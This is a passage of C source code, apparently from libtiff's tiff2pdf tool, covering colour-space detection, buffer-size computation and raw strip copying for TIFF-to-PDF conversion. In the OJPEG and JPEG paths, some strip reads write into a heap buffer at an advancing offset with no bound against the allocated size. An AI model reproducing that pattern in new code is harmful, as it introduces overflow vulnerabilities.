t2p->pdf_sample=T2P_SAMPLE_RGBAA_TO_RGB; break; } if(xuint16p[0] == EXTRASAMPLE_UNASSALPHA){ if( t2p->tiff_bitspersample != 8 ) { TIFFError( TIFF2PDF_MODULE, "No support for BitsPerSample=%d for RGBA", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_sample=T2P_SAMPLE_RGBA_TO_RGB; break; } TIFFWarning( TIFF2PDF_MODULE, "RGB image %s has 4 samples per pixel, assuming RGBA", TIFFFileName(input)); break; } t2p->pdf_colorspace=T2P_CS_CMYK; t2p->pdf_switchdecode ^= 1; TIFFWarning( TIFF2PDF_MODULE, "RGB image %s has 4 samples per pixel, assuming inverse CMYK", TIFFFileName(input)); break; } else { TIFFError( TIFF2PDF_MODULE, "No support for RGB image %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; break; } } else { TIFFError( TIFF2PDF_MODULE, "No support for RGB image %s with %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; break; } case PHOTOMETRIC_PALETTE: photometric_palette: if(t2p->tiff_samplesperpixel!=1){ TIFFError( TIFF2PDF_MODULE, "No support for palettized image %s with not one sample per pixel", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_colorspace=T2P_CS_RGB | T2P_CS_PALETTE; t2p->pdf_palettesize=0x0001<<t2p->tiff_bitspersample; if(!TIFFGetField(input, TIFFTAG_COLORMAP, &r, &g, &b)){ TIFFError( TIFF2PDF_MODULE, "Palettized image %s has no color map", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(t2p->pdf_palette != NULL){ _TIFFfree(t2p->pdf_palette); t2p->pdf_palette=NULL; } t2p->pdf_palette = (unsigned char*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_palettesize,3)); if(t2p->pdf_palette==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_read_tiff_image, %s", t2p->pdf_palettesize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<t2p->pdf_palettesize;i++){ t2p->pdf_palette[(i*3)] = (unsigned char) (r[i]>>8); t2p->pdf_palette[(i*3)+1]= (unsigned char) (g[i]>>8); t2p->pdf_palette[(i*3)+2]= (unsigned char) (b[i]>>8); } t2p->pdf_palettesize *= 3; break; case PHOTOMETRIC_SEPARATED: if(TIFFGetField(input, TIFFTAG_INDEXED, &xuint16)){ if(xuint16==1){ goto photometric_palette_cmyk; } } if( TIFFGetField(input, TIFFTAG_INKSET, &xuint16) ){ if(xuint16 != INKSET_CMYK){ TIFFError( TIFF2PDF_MODULE, "No support for %s because its inkset is not CMYK", TIFFFileName(input) ); t2p->t2p_error = T2P_ERR_ERROR; return; } } if(t2p->tiff_samplesperpixel==4){ t2p->pdf_colorspace=T2P_CS_CMYK; } else { TIFFError( TIFF2PDF_MODULE, "No support for %s because it has %u samples per pixel", TIFFFileName(input), t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } break; photometric_palette_cmyk: if(t2p->tiff_samplesperpixel!=1){ TIFFError( TIFF2PDF_MODULE, "No support for palettized CMYK image %s with not one sample per pixel", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_colorspace=T2P_CS_CMYK | T2P_CS_PALETTE; t2p->pdf_palettesize=0x0001<<t2p->tiff_bitspersample; if(!TIFFGetField(input, TIFFTAG_COLORMAP, &r, &g, &b, &a)){ TIFFError( TIFF2PDF_MODULE, "Palettized image %s has no color map", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(t2p->pdf_palette != NULL){ _TIFFfree(t2p->pdf_palette); t2p->pdf_palette=NULL; } t2p->pdf_palette = (unsigned char*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_palettesize,4)); if(t2p->pdf_palette==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_read_tiff_image, %s", t2p->pdf_palettesize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<t2p->pdf_palettesize;i++){ t2p->pdf_palette[(i*4)] = (unsigned char) (r[i]>>8); t2p->pdf_palette[(i*4)+1]= (unsigned char) (g[i]>>8); t2p->pdf_palette[(i*4)+2]= (unsigned char) (b[i]>>8); t2p->pdf_palette[(i*4)+3]= (unsigned char) (a[i]>>8); } t2p->pdf_palettesize *= 4; break; case PHOTOMETRIC_YCBCR: t2p->pdf_colorspace=T2P_CS_RGB; if(t2p->tiff_samplesperpixel==1){ t2p->pdf_colorspace=T2P_CS_GRAY; t2p->tiff_photometric=PHOTOMETRIC_MINISBLACK; break; } t2p->pdf_sample=T2P_SAMPLE_YCBCR_TO_RGB; #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ t2p->pdf_sample=T2P_SAMPLE_NOTHING; } #endif break; case PHOTOMETRIC_CIELAB: if( t2p->tiff_samplesperpixel != 3){ TIFFError( TIFF2PDF_MODULE, "Unsupported samplesperpixel = %d for CIELAB", t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } if( t2p->tiff_bitspersample != 8){ TIFFError( TIFF2PDF_MODULE, "Invalid bitspersample = %d for CIELAB", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_labrange[0]= -127; t2p->pdf_labrange[1]= 127; t2p->pdf_labrange[2]= -127; t2p->pdf_labrange[3]= 127; t2p->pdf_sample=T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_ICCLAB: t2p->pdf_labrange[0]= 0; t2p->pdf_labrange[1]= 255; t2p->pdf_labrange[2]= 0; t2p->pdf_labrange[3]= 255; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_ITULAB: if( t2p->tiff_samplesperpixel != 3){ TIFFError( TIFF2PDF_MODULE, "Unsupported samplesperpixel = %d for ITULAB", t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } if( t2p->tiff_bitspersample != 8){ TIFFError( TIFF2PDF_MODULE, "Invalid bitspersample = %d for ITULAB", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_labrange[0]=-85; t2p->pdf_labrange[1]=85; t2p->pdf_labrange[2]=-75; t2p->pdf_labrange[3]=124; t2p->pdf_sample=T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_LOGL: case PHOTOMETRIC_LOGLUV: TIFFError( TIFF2PDF_MODULE, "No support for %s with photometric interpretation LogL/LogLuv", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with photometric interpretation %u", TIFFFileName(input), t2p->tiff_photometric); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_PLANARCONFIG, &(t2p->tiff_planar))){ switch(t2p->tiff_planar){ case 0: TIFFWarning( TIFF2PDF_MODULE, "Image %s has planar configuration 0, assuming 1", TIFFFileName(input)); t2p->tiff_planar=PLANARCONFIG_CONTIG; case PLANARCONFIG_CONTIG: break; case PLANARCONFIG_SEPARATE: t2p->pdf_sample=T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG; if(t2p->tiff_bitspersample!=8){ TIFFError( TIFF2PDF_MODULE, "No support for %s with separated planar configuration and %u bits per sample", TIFFFileName(input), t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with planar configuration %u", TIFFFileName(input), t2p->tiff_planar); t2p->t2p_error = T2P_ERR_ERROR; return; } } TIFFGetFieldDefaulted(input, TIFFTAG_ORIENTATION, &(t2p->tiff_orientation)); if(t2p->tiff_orientation>8){ TIFFWarning(TIFF2PDF_MODULE, "Image %s has orientation %u, assuming 0", TIFFFileName(input), t2p->tiff_orientation); t2p->tiff_orientation=0; } if(TIFFGetField(input, TIFFTAG_XRESOLUTION, &(t2p->tiff_xres) ) == 0){ t2p->tiff_xres=0.0; } if(TIFFGetField(input, TIFFTAG_YRESOLUTION, &(t2p->tiff_yres) ) == 0){ t2p->tiff_yres=0.0; } TIFFGetFieldDefaulted(input, TIFFTAG_RESOLUTIONUNIT, &(t2p->tiff_resunit)); if(t2p->tiff_resunit == RESUNIT_CENTIMETER) { t2p->tiff_xres *= 2.54F; t2p->tiff_yres *= 2.54F; } else if (t2p->tiff_resunit != RESUNIT_INCH && t2p->pdf_centimeters != 0) { t2p->tiff_xres *= 2.54F; t2p->tiff_yres *= 2.54F; } t2p_compose_pdf_page(t2p); if( t2p->t2p_error == T2P_ERR_ERROR ) return; t2p->pdf_transcode = T2P_TRANSCODE_ENCODE; if(t2p->pdf_nopassthrough==0){ #ifdef CCITT_SUPPORT if(t2p->tiff_compression==COMPRESSION_CCITTFAX4 ){ if(TIFFIsTiled(input) || (TIFFNumberOfStrips(input)==1) ){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_G4; } } #endif #ifdef ZIP_SUPPORT if(t2p->tiff_compression== COMPRESSION_ADOBE_DEFLATE || t2p->tiff_compression==COMPRESSION_DEFLATE){ if(TIFFIsTiled(input) || (TIFFNumberOfStrips(input)==1) ){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_ZIP; } } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_JPEG; t2p_process_ojpeg_tables(t2p, input); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_JPEG){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_JPEG; } #endif (void)0; } if(t2p->pdf_transcode!=T2P_TRANSCODE_RAW){ t2p->pdf_compression = t2p->pdf_defaultcompression; } #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ if(t2p->pdf_colorspace & T2P_CS_PALETTE){ t2p->pdf_sample|=T2P_SAMPLE_REALIZE_PALETTE; t2p->pdf_colorspace ^= T2P_CS_PALETTE; t2p->tiff_pages[t2p->pdf_page].page_extra--; } } if(t2p->tiff_compression==COMPRESSION_JPEG){ if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ TIFFError( TIFF2PDF_MODULE, "No support for %s with JPEG compression and separated planar configuration", TIFFFileName(input)); t2p->t2p_error=T2P_ERR_ERROR; return; } } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ TIFFError( TIFF2PDF_MODULE, "No support for %s with OJPEG compression and separated planar configuration", TIFFFileName(input)); t2p->t2p_error=T2P_ERR_ERROR; return; } } #endif if(t2p->pdf_sample & T2P_SAMPLE_REALIZE_PALETTE){ if(t2p->pdf_colorspace & T2P_CS_CMYK){ t2p->tiff_samplesperpixel=4; t2p->tiff_photometric=PHOTOMETRIC_SEPARATED; } else { t2p->tiff_samplesperpixel=3; t2p->tiff_photometric=PHOTOMETRIC_RGB; } } if (TIFFGetField(input, TIFFTAG_TRANSFERFUNCTION, &(t2p->tiff_transferfunction[0]), &(t2p->tiff_transferfunction[1]), &(t2p->tiff_transferfunction[2]))) { if((t2p->tiff_transferfunction[1] != (float*) NULL) && (t2p->tiff_transferfunction[2] != (float*) NULL) && (t2p->tiff_transferfunction[1] != t2p->tiff_transferfunction[0])) { t2p->tiff_transferfunctioncount=3; } else { t2p->tiff_transferfunctioncount=1; } } else { t2p->tiff_transferfunctioncount=0; } if(TIFFGetField(input, TIFFTAG_WHITEPOINT, &xfloatp)!=0){ t2p->tiff_whitechromaticities[0]=xfloatp[0]; t2p->tiff_whitechromaticities[1]=xfloatp[1]; if(t2p->pdf_colorspace & T2P_CS_GRAY){ t2p->pdf_colorspace |= T2P_CS_CALGRAY; } if(t2p->pdf_colorspace & T2P_CS_RGB){ t2p->pdf_colorspace |= T2P_CS_CALRGB; } } if(TIFFGetField(input, TIFFTAG_PRIMARYCHROMATICITIES, &xfloatp)!=0){ t2p->tiff_primarychromaticities[0]=xfloatp[0]; t2p->tiff_primarychromaticities[1]=xfloatp[1]; t2p->tiff_primarychromaticities[2]=xfloatp[2]; t2p->tiff_primarychromaticities[3]=xfloatp[3]; t2p->tiff_primarychromaticities[4]=xfloatp[4]; t2p->tiff_primarychromaticities[5]=xfloatp[5]; if(t2p->pdf_colorspace & T2P_CS_RGB){ t2p->pdf_colorspace |= T2P_CS_CALRGB; } } if(t2p->pdf_colorspace & T2P_CS_LAB){ if(TIFFGetField(input, TIFFTAG_WHITEPOINT, &xfloatp) != 0){ t2p->tiff_whitechromaticities[0]=xfloatp[0]; t2p->tiff_whitechromaticities[1]=xfloatp[1]; } else { t2p->tiff_whitechromaticities[0]=0.3457F; /* 0.3127F; */ t2p->tiff_whitechromaticities[1]=0.3585F; /* 0.3290F; */ } } if(TIFFGetField(input, TIFFTAG_ICCPROFILE, &(t2p->tiff_iccprofilelength), &(t2p->tiff_iccprofile))!=0){ t2p->pdf_colorspace |= T2P_CS_ICCBASED; } else { t2p->tiff_iccprofilelength=0; t2p->tiff_iccprofile=NULL; } #ifdef CCITT_SUPPORT if( t2p->tiff_bitspersample==1 && t2p->tiff_samplesperpixel==1){ t2p->pdf_compression = T2P_COMPRESS_G4; } #endif return; } /* This function returns the necessary size of a data buffer to contain the raw or uncompressed image data from the input TIFF for a page. */ void t2p_read_tiff_size(T2P* t2p, TIFF* input){ uint64* sbc=NULL; #if defined(JPEG_SUPPORT) || defined (OJPEG_SUPPORT) unsigned char* jpt=NULL; tstrip_t i=0; tstrip_t stripcount=0; #endif uint64 k = 0; if(t2p->pdf_transcode == T2P_TRANSCODE_RAW){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4 ){ TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); t2p->tiff_datasize=(tmsize_t)sbc[0]; return; } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_ZIP){ TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); t2p->tiff_datasize=(tmsize_t)sbc[0]; return; } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG){ if(!TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc)){ TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_STRIPBYTECOUNTS", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ k = checkAdd64(k, sbc[i], t2p); } if(TIFFGetField(input, TIFFTAG_JPEGIFOFFSET, &(t2p->tiff_dataoffset))){ if(t2p->tiff_dataoffset != 0){ if(TIFFGetField(input, TIFFTAG_JPEGIFBYTECOUNT, &(t2p->tiff_datasize))!=0){ if((uint64)t2p->tiff_datasize < k) { TIFFWarning(TIFF2PDF_MODULE, "Input file %s has short JPEG interchange file byte count", TIFFFileName(input)); t2p->pdf_ojpegiflength=t2p->tiff_datasize; k = checkAdd64(k, t2p->tiff_datasize, t2p); k = checkAdd64(k, 6, t2p); k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, stripcount, t2p); t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } return; }else { TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_JPEGIFBYTECOUNT", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } } } k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, 2048, t2p); t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG) { uint32 count = 0; if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0 ){ if(count > 4){ k += count; k -= 2; /* don't use EOI of header */ } } else { k = 2; /* SOI for first strip */ } stripcount=TIFFNumberOfStrips(input); if(!TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc)){ TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_STRIPBYTECOUNTS", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<stripcount;i++){ k = checkAdd64(k, sbc[i], t2p); k -=2; /* don't use EOI of strip */ k +=2; /* add space for restart marker */ } k = checkAdd64(k, 2, t2p); /* use EOI of last strip */ k = checkAdd64(k, 6, t2p); /* for DRI marker of first strip */ t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } #endif (void) 0; } k = checkMultiply64(TIFFScanlineSize(input), t2p->tiff_length, t2p); if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ k = checkMultiply64(k, t2p->tiff_samplesperpixel, t2p); } if (k == 0) { /* Assume we had overflow inside TIFFScanlineSize */ t2p->t2p_error = T2P_ERR_ERROR; } t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } /* This function returns the necessary size of a data buffer to contain the raw or uncompressed image data from the input TIFF for a tile of a page. */ void t2p_read_tiff_size_tile(T2P* t2p, TIFF* input, ttile_t tile){ uint64* tbc = NULL; uint16 edge=0; #ifdef JPEG_SUPPORT unsigned char* jpt; #endif uint64 k; edge |= t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile); edge |= t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile); if(t2p->pdf_transcode==T2P_TRANSCODE_RAW){ if(edge #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) && !(t2p->pdf_compression==T2P_COMPRESS_JPEG) #endif ){ t2p->tiff_datasize=TIFFTileSize(input); if (t2p->tiff_datasize == 0) { /* Assume we had overflow inside TIFFTileSize */ t2p->t2p_error = T2P_ERR_ERROR; } return; } else { TIFFGetField(input, TIFFTAG_TILEBYTECOUNTS, &tbc); k=tbc[tile]; #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ k = checkAdd64(k, 2048, t2p); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_JPEG) { uint32 count = 0; if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt)!=0){ if(count > 4){ k = checkAdd64(k, count, t2p); k -= 2; /* don't use EOI of header or SOI of tile */ } } } #endif t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } } k = TIFFTileSize(input); if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ k = checkMultiply64(k, t2p->tiff_samplesperpixel, t2p); } if (k == 0) { /* Assume we had overflow inside TIFFTileSize */ t2p->t2p_error = T2P_ERR_ERROR; } t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } /* * This functions returns a non-zero value when the tile is on the right edge * and does not have full imaged tile width. */ int t2p_tile_is_right_edge(T2P_TILES tiles, ttile_t tile){ if( ((tile+1) % tiles.tiles_tilecountx == 0) && (tiles.tiles_edgetilewidth != 0) ){ return(1); } else { return(0); } } /* * This functions returns a non-zero value when the tile is on the bottom edge * and does not have full imaged tile length. */ int t2p_tile_is_bottom_edge(T2P_TILES tiles, ttile_t tile){ if( ((tile+1) > (tiles.tiles_tilecount-tiles.tiles_tilecountx) ) && (tiles.tiles_edgetilelength != 0) ){ return(1); } else { return(0); } } /* * This function returns a non-zero value when the tile is a right edge tile * or a bottom edge tile. */ int t2p_tile_is_edge(T2P_TILES tiles, ttile_t tile){ return(t2p_tile_is_right_edge(tiles, tile) | t2p_tile_is_bottom_edge(tiles, tile) ); } /* This function returns a non-zero value when the tile is a right edge tile and a bottom edge tile. */ int t2p_tile_is_corner_edge(T2P_TILES tiles, ttile_t tile){ return(t2p_tile_is_right_edge(tiles, tile) & t2p_tile_is_bottom_edge(tiles, tile) ); } /* This function reads the raster image data from the input TIFF for an image and writes the data to the output PDF XObject image dictionary stream. It returns the amount written or zero on error. */ tsize_t t2p_readwrite_pdf_image(T2P* t2p, TIFF* input, TIFF* output){ tsize_t written=0; unsigned char* buffer=NULL; unsigned char* samplebuffer=NULL; tsize_t bufferoffset=0; tsize_t samplebufferoffset=0; tsize_t read=0; tstrip_t i=0; tstrip_t j=0; tstrip_t stripcount=0; tsize_t stripsize=0; tsize_t sepstripcount=0; tsize_t sepstripsize=0; #ifdef OJPEG_SUPPORT toff_t inputoffset=0; uint16 h_samp=1; uint16 v_samp=1; uint16 ri=1; uint32 rows=0; #endif /* ifdef OJPEG_SUPPORT */ #ifdef JPEG_SUPPORT unsigned char* jpt; float* xfloatp; uint64* sbc; unsigned char* stripbuffer; tsize_t striplength=0; uint32 max_striplength=0; #endif /* ifdef JPEG_SUPPORT */ /* Fail if prior error (in particular, can't trust tiff_datasize) */ if (t2p->t2p_error != T2P_ERR_OK) return(0); if(t2p->pdf_transcode == T2P_TRANSCODE_RAW){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if (buffer == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for " "t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ /* * make sure is lsb-to-msb * bit-endianness fill order */ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif /* ifdef CCITT_SUPPORT */ #ifdef ZIP_SUPPORT if (t2p->pdf_compression == T2P_COMPRESS_ZIP) { buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB) { TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif /* ifdef ZIP_SUPPORT */ #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG) { if(t2p->tiff_dataoffset != 0) { buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); if(t2p->pdf_ojpegiflength==0){ inputoffset=t2pSeekFile(input, 0, SEEK_CUR); t2pSeekFile(input, t2p->tiff_dataoffset, SEEK_SET); t2pReadFile(input, (tdata_t) buffer, t2p->tiff_datasize); t2pSeekFile(input, inputoffset, SEEK_SET); t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } else { inputoffset=t2pSeekFile(input, 0, SEEK_CUR); t2pSeekFile(input, t2p->tiff_dataoffset, SEEK_SET); bufferoffset = t2pReadFile(input, (tdata_t) buffer, t2p->pdf_ojpegiflength); t2p->pdf_ojpegiflength = 0; t2pSeekFile(input, inputoffset, SEEK_SET); TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &h_samp, &v_samp); buffer[bufferoffset++]= 0xff; buffer[bufferoffset++]= 0xdd; buffer[bufferoffset++]= 0x00; buffer[bufferoffset++]= 0x04; h_samp*=8; v_samp*=8; ri=(t2p->tiff_width+h_samp-1) / h_samp; TIFFGetField(input, TIFFTAG_ROWSPERSTRIP, &rows); ri*=(rows+v_samp-1)/v_samp; buffer[bufferoffset++]= (ri>>8) & 0xff; buffer[bufferoffset++]= ri & 0xff; stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ if(i != 0 ){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=(0xd0 | ((i-1)%8)); } bufferoffset+=TIFFReadRawStrip(input, i, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } } else { if(! t2p->pdf_ojpegdata){ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with bad tables", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); _TIFFmemcpy(buffer, t2p->pdf_ojpegdata, t2p->pdf_ojpegdatalength); bufferoffset=t2p->pdf_ojpegdatalength; stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ if(i != 0){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=(0xd0 | ((i-1)%8)); } bufferoffset+=TIFFReadRawStrip(input, i, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } if( ! ( (buffer[bufferoffset-1]==0xd9) && (buffer[bufferoffset-2]==0xff) ) ){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=0xd9; } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); #if 0 /* This hunk of code removed code is clearly mis-placed and we are not sure where it should be (if anywhere) */ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with no JPEG File Interchange offset", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); #endif } } #endif /* ifdef OJPEG_SUPPORT */ #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG) { uint32 count = 0; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); if (TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0) { if(count > 4) { _TIFFmemcpy(buffer, jpt, count); bufferoffset += count - 2; } } stripcount=TIFFNumberOfStrips(input); TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); for(i=0;i<stripcount;i++){ if(sbc[i]>max_striplength) max_striplength=sbc[i]; } stripbuffer = (unsigned char*) _TIFFmalloc(max_striplength); if(stripbuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", max_striplength, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } for(i=0;i<stripcount;i++){ striplength=TIFFReadRawStrip(input, i, (tdata_t) stripbuffer, -1); if(!t2p_process_jpeg_strip( stripbuffer, &striplength, buffer, &bufferoffset, i, t2p->tiff_length)){ TIFFError(TIFF2PDF_MODULE, "Can't process JPEG data in input file %s", TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=0xd9; t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(stripbuffer); _TIFFfree(buffer); return(bufferoffset); } #endif /* ifdef JPEG_SUPPORT */ (void)0; } if(t2p->pdf_sample==T2P_SAMPLE_NOTHING){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = 